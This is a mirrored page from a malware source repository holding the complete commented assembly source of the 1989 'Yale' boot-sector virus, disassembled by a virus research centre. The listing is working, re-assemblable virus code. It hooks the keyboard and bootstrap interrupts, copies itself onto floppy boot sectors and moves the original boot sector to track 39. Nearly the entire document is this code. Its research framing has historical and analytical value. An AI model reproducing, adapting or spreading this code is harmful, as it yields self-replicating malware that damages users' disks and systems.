mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
342 lines
9.6 KiB
NASM
342 lines
9.6 KiB
NASM
page 65,132
|
|
title The 'Yale' Virus
|
|
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
|
; º British Computer Virus Research Centre º
|
|
; º 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England º
|
|
; º Telephone: Domestic 0273-26105, International +44-273-26105 º
|
|
; º º
|
|
; º The 'Yale' Virus º
|
|
; º Disassembled by Joe Hirst, April 1989 º
|
|
; º º
|
|
; º Copyright (c) Joe Hirst 1989. º
|
|
; º º
|
|
; º This listing is only to be made available to virus researchers º
|
|
; º or software writers on a need-to-know basis. º
|
|
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|
|
|
|
; The virus consists of a boot sector only on a floppy disk.
|
|
; The original boot sector is kept at track thirty-nine, head zero,
|
|
; sector eight.
|
|
|
|
; The disassembly has been tested by re-assembly using MASM 5.0
|
|
; Note that this does not create an identical program, as the original
|
|
; appears to have been assembled with A86
|
|
|
|
; MASM would not assemble the instruction at offset 003CH (7C3CH)
|
|
; This instruction is undefined on an 8088/8086, and illegal
|
|
; on a 80286/80386.
|
|
|
|
; The program requires an origin address of 7C00H for the first sector
|
|
; to load and run as a boot sector
|
|
|
|
; System variables are defined in either RAM or BOOT (or both)
|
|
; depending on the segment used by the program
|
|
|
|
RAM SEGMENT AT 400H
|
|
|
|
; System RAM fields
|
|
|
|
ORG 13H
|
|
BW0413 DW ? ; Total RAM size
|
|
ORG 17H
|
|
BB0417 DB ? ; Key toggles
|
|
ORG 72H
|
|
BW0472 DW ? ; System reset word
|
|
|
|
RAM ENDS
|
|
|
|
BOOT SEGMENT AT 0
|
|
|
|
; Interrupt addresses
|
|
|
|
ORG 24H
|
|
BW0024 DW ? ; Interrupt 9 offset
|
|
BW0026 DW ? ; Interrupt 9 segment
|
|
ORG 64H
|
|
BW0064 DW ? ; Interrupt 19H offset
|
|
BW0066 DW ? ; Interrupt 19H segment
|
|
|
|
; System RAM fields
|
|
|
|
ORG 410H
|
|
DW0410 DW ? ; System configuration
|
|
ORG 413H
|
|
DW0413 DW ? ; Total RAM size
|
|
|
|
; BIOS field
|
|
|
|
ORG 0E502H
|
|
DWE502 DW ?
|
|
|
|
BOOT ENDS
|
|
|
|
CODE SEGMENT BYTE PUBLIC 'CODE'
|
|
|
|
ASSUME CS:CODE,DS:NOTHING
|
|
|
|
START: CLI
|
|
XOR AX,AX ; \ Set SS to zero
|
|
MOV SS,AX ; /
|
|
MOV SP,7C00H ; Set stack before boot area
|
|
STI
|
|
ASSUME DS:RAM
|
|
MOV BX,0040H ; \ Address RAM area
|
|
MOV DS,BX ; /
|
|
MOV AX,BW0413 ; Get size of RAM
|
|
MUL BX ; Convert to paragraphs
|
|
SUB AX,07E0H ; Subtract address after boot area
|
|
MOV ES,AX ; Target segment
|
|
ASSUME DS:CODE
|
|
PUSH CS ; \ Set DS to CS
|
|
POP DS ; /
|
|
CMP DI,3456H ; Simulated system reset?
|
|
JNE BP0010 ; Branch if not
|
|
DEC GENNUM[7C00H] ; Decrement generation number
|
|
BP0010: MOV SI,SP ; \ Address boot sector area
|
|
MOV DI,SI ; /
|
|
MOV CX,0200H ; 512 bytes to move
|
|
CLD
|
|
REPZ MOVSB ; Copy virus to high core
|
|
MOV SI,CX ; Address offset zero
|
|
MOV DI,7B80H ; Address interrupt save area
|
|
MOV CX,0080H ; 128 bytes to move
|
|
REPZ MOVSB ; Save first 32 interrupt pointers
|
|
CALL BP0030 ; Install interrupt 9 routine
|
|
PUSH ES ; \ Transfer to high core
|
|
; POP CS ; /
|
|
DB 0FH ; This is the previous instruction
|
|
PUSH DS ; \ Set ES to DS
|
|
POP ES ; /
|
|
MOV BX,SP ; Address boot sector area
|
|
MOV DX,CX ; A-drive, head zero
|
|
MOV CX,2708H ; Track 39, sector 8
|
|
MOV AX,0201H ; Read one sector
|
|
INT 13H ; Disk I/O
|
|
BP0020: JB BP0020 ; Loop on error
|
|
JMP BP0190
|
|
|
|
; Install interrupt 9 routine
|
|
|
|
BP0030: DEC DW0413 ; Decrement RAM size
|
|
MOV SI,OFFSET BW0024 ; Address INT 9 pointer
|
|
MOV DI,OFFSET INT_09+7C00H ; Target far jump
|
|
MOV CX,4 ; 4 bytes to copy
|
|
CLI
|
|
REPZ MOVSB ; Copy far address
|
|
MOV BW0024,OFFSET BP0050+7C00H ; Install new offset
|
|
MOV BW0026,ES ; Install new segment
|
|
STI
|
|
RET
|
|
|
|
; Ctrl-Alt-Del depressed - acknowledge keyboard signal
|
|
|
|
BP0040: IN AL,61H ; Get port B
|
|
MOV AH,AL ; Save current state
|
|
OR AL,80H ; Turn top bit on
|
|
OUT 61H,AL ; Set port B
|
|
XCHG AL,AH ; Get original state
|
|
OUT 61H,AL ; Reset port B
|
|
JMP SHORT BP0110
|
|
|
|
; Format table for track 39, head zero, 8 sectors (unused)
|
|
|
|
DB 027H, 000H, 001H, 002H
|
|
DB 027H, 000H, 002H, 002H
|
|
DB 027H, 000H, 003H, 002H
|
|
DB 027H, 000H, 004H, 002H
|
|
DB 027H, 000H, 005H, 002H
|
|
DB 027H, 000H, 006H, 002H
|
|
DB 027H, 000H, 007H, 002H
|
|
DB 027H, 000H, 008H, 002H
|
|
|
|
; Rubbish
|
|
|
|
DB 024H, 000H, 0ADH, 07CH, 0A3H, 026H, 000H, 059H
|
|
DB 05FH, 05EH, 007H, 01FH, 058H, 09DH, 0EAH, 011H
|
|
DB 011H, 011H, 011H
|
|
|
|
; Interrupt 9 routine
|
|
|
|
BP0050: PUSHF
|
|
STI
|
|
PUSH AX
|
|
PUSH BX
|
|
PUSH DS
|
|
PUSH CS ; \ Set DS to CS
|
|
POP DS ; /
|
|
ASSUME DS:CODE
|
|
MOV BX,KYSTAT[7C00H] ; Get Ctrl & Alt key states
|
|
IN AL,60H ; Get keyboard token
|
|
MOV AH,AL ; Save keyboard token
|
|
AND AX,887FH
|
|
CMP AL,1DH ; Was key Ctrl?
|
|
JNE BP0060 ; Branch if not
|
|
MOV BL,AH ; Save Ctrl key state
|
|
JMP SHORT BP0080
|
|
|
|
BP0060: CMP AL,38H ; Was key Alt?
|
|
JNE BP0070 ; Branch if not
|
|
MOV BH,AH ; Save Alt key state
|
|
JMP SHORT BP0080
|
|
|
|
BP0070: CMP BX,0808H ; Are Ctrl & Alt depressed?
|
|
JNE BP0080 ; Branch if not
|
|
CMP AL,17H ; Is key I?
|
|
JE BP0100 ; Branch if yes
|
|
CMP AL,53H ; Is key Del?
|
|
JE BP0040 ; Branch if yes
|
|
BP0080: MOV KYSTAT[7C00H],BX ; Save Ctrl & Alt key states
|
|
BP0090: POP DS
|
|
POP BX
|
|
POP AX
|
|
POPF
|
|
DB 0EAH ; Far jump to original INT 9
|
|
INT_09 DW 0E987H, 0F000H
|
|
|
|
; Pass on Ctrl-Alt-I
|
|
|
|
BP0100: JMP BP0240 ; Ctrl-Alt-I
|
|
|
|
; Ctrl-Alt-Del depressed - main processing
|
|
|
|
BP0110: MOV DX,03D8H ; VDU mode control address
|
|
MOV AX,0800H ; Delay eight cycles
|
|
OUT DX,AL ; Disable display
|
|
CALL BP0250 ; Delay
|
|
MOV KYSTAT[7C00H],AX ; Reset Ctrl & Alt key states
|
|
MOV AL,3 ; Mode three
|
|
INT 10H ; VDU I/O
|
|
MOV AH,2 ; Set cursor address function
|
|
XOR DX,DX ; Row zero, column zero
|
|
MOV BH,DH ; Page zero
|
|
INT 10H ; VDU I/O
|
|
MOV AH,1 ; Set cursor size function
|
|
MOV CX,0607H ; Cursor lines 6 to 7
|
|
INT 10H ; VDU I/O
|
|
MOV AX,0420H ; Delay 4 cycles
|
|
CALL BP0250 ; Delay
|
|
CLI
|
|
OUT 20H,AL ; End of interrupt
|
|
MOV ES,CX ; Address segment zero
|
|
MOV DI,CX ; Address offset zero
|
|
MOV SI,7B80H ; Address interrupt save area
|
|
MOV CX,0080H ; 128 bytes to move
|
|
CLD
|
|
REPZ MOVSB ; Restore first 32 interrupt pointers
|
|
MOV DS,CX ; Address zero
|
|
MOV BW0064,OFFSET BP0130+7C00H ; Install Int 19H offset
|
|
MOV BW0066,CS ; Install Int 19H segment
|
|
ASSUME DS:RAM
|
|
MOV AX,0040H ; \ Address RAM area
|
|
MOV DS,AX ; /
|
|
MOV BB0417,AH ; Set key toggles off
|
|
INC BW0413 ; Restore RAM size
|
|
PUSH DS
|
|
ASSUME DS:BOOT
|
|
MOV AX,0F000H ; \ Address BIOS
|
|
MOV DS,AX ; /
|
|
CMP DWE502,21E4H ; Is BIOS instruction IN AL,21H?
|
|
POP DS
|
|
JE BP0120 ; Branch if yes
|
|
INT 19H ; Disk bootstrap
|
|
|
|
BP0120: DB 0EAH ; Far jump to BIOS routine
|
|
DW 0E502H, 0F000H
|
|
|
|
; Interrupt 19H routine
|
|
|
|
ASSUME DS:BOOT
|
|
BP0130: XOR AX,AX ; \ Set DS to zero
|
|
MOV DS,AX ; /
|
|
MOV AX,DW0410 ; Get system configuration
|
|
TEST AL,1 ; Is there a floppy disk
|
|
JNZ BP0150 ; Branch if yes
|
|
BP0140: PUSH CS ; \ Set ES to CS
|
|
POP ES ; /
|
|
CALL BP0030 ; Install interrupt 9 routine
|
|
INT 18H ; Basica (IBM only)
|
|
|
|
BP0150: MOV CX,4 ; Retry four times
|
|
BP0160: PUSH CX ; Save retry count
|
|
MOV AH,0 ; Reset disk sub-system
|
|
INT 13H ; Disk I/O
|
|
JB BP0170 ; Branch if error
|
|
MOV AX,0201H ; Read one sector
|
|
PUSH DS ; \ Set ES to DS
|
|
POP ES ; /
|
|
MOV BX,7C00H ; Boot sector buffer
|
|
MOV CX,1 ; Track zero, sector one
|
|
INT 13H ; Disk I/O
|
|
BP0170: POP CX ; Retrieve retry count
|
|
JNB BP0180 ; Branch if no error
|
|
LOOP BP0160 ; Retry
|
|
JMP BP0140
|
|
|
|
BP0180: CMP DI,3456H ; Simulated system reset?
|
|
JNE BP0200 ; Branch if not
|
|
BP0190: DB 0EAH ; Far jump to boot sector area
|
|
DW 7C00H, 0
|
|
|
|
BP0200: MOV SI,7C00H ; Boot sector area
|
|
MOV CX,OFFSET INT_09 ; Length to compare
|
|
MOV DI,SI ; Virus offset
|
|
PUSH CS ; \ Set ES to CS
|
|
POP ES ; /
|
|
CLD
|
|
REPZ CMPSB ; Is boot sector infected?
|
|
JE BP0220 ; Branch if yes
|
|
INC ES:GENNUM[7C00H] ; Increment generation number
|
|
MOV BX,7C7AH ; Address format table
|
|
MOV DX,0 ; Head zero, drive zero
|
|
MOV CH,27H ; Track 39
|
|
MOV AH,5 ; Format track
|
|
JMP SHORT BP0210 ; This line was probably an INT 13H
|
|
|
|
JB BP0230 ; Error branch for deleted INT 13H
|
|
BP0210: MOV ES,DX ; \ Write from boot sector area
|
|
MOV BX,7C00H ; /
|
|
MOV CL,8 ; Sector eight
|
|
MOV AX,0301H ; Write one sector
|
|
INT 13H ; Disk I/O
|
|
PUSH CS ; \ Set ES to CS
|
|
POP ES ; /
|
|
JB BP0230 ; Branch if error
|
|
MOV CX,1 ; Track zero, sector one
|
|
MOV AX,0301H ; Write one sector
|
|
INT 13H ; Disk I/O
|
|
JB BP0230 ; Branch if error
|
|
BP0220: MOV DI,3456H ; Signal simulated system reset
|
|
INT 19H ; Disk bootstrap
|
|
|
|
BP0230: CALL BP0030 ; Install interrupt 9 routine
|
|
DEC ES:GENNUM[7C00H] ; Decrement generation number
|
|
JMP BP0190
|
|
|
|
; Ctrl-Alt-I
|
|
|
|
ASSUME DS:CODE
|
|
BP0240: MOV KYSTAT[7C00H],BX ; Save Ctrl & Alt key states
|
|
MOV AX,GENNUM[7C00H] ; Get generation number
|
|
ASSUME DS:RAM
|
|
MOV BX,0040H ; \ Address RAM area
|
|
MOV DS,BX ; /
|
|
MOV BW0472,AX ; Generation to system reset word
|
|
JMP BP0090 ; Pass on to original interrupt
|
|
|
|
; Delay
|
|
|
|
BP0250: SUB CX,CX ; Maximum count
|
|
BP0260: LOOP BP0260 ; Delay loop
|
|
SUB AH,1 ; Decrement count
|
|
JNZ BP0260 ; Repeat loop
|
|
RET
|
|
|
|
DB 027H, 000H, 008H, 002H ; Last sector of format table
|
|
GENNUM DW 016H ; Generation number
|
|
KYSTAT DW 0 ; Ctrl & Alt key states
|
|
DB 027H, 000H, 008H, 002H ; Last sector of format table
|
|
|
|
CODE ENDS
|
|
|
|
END START
|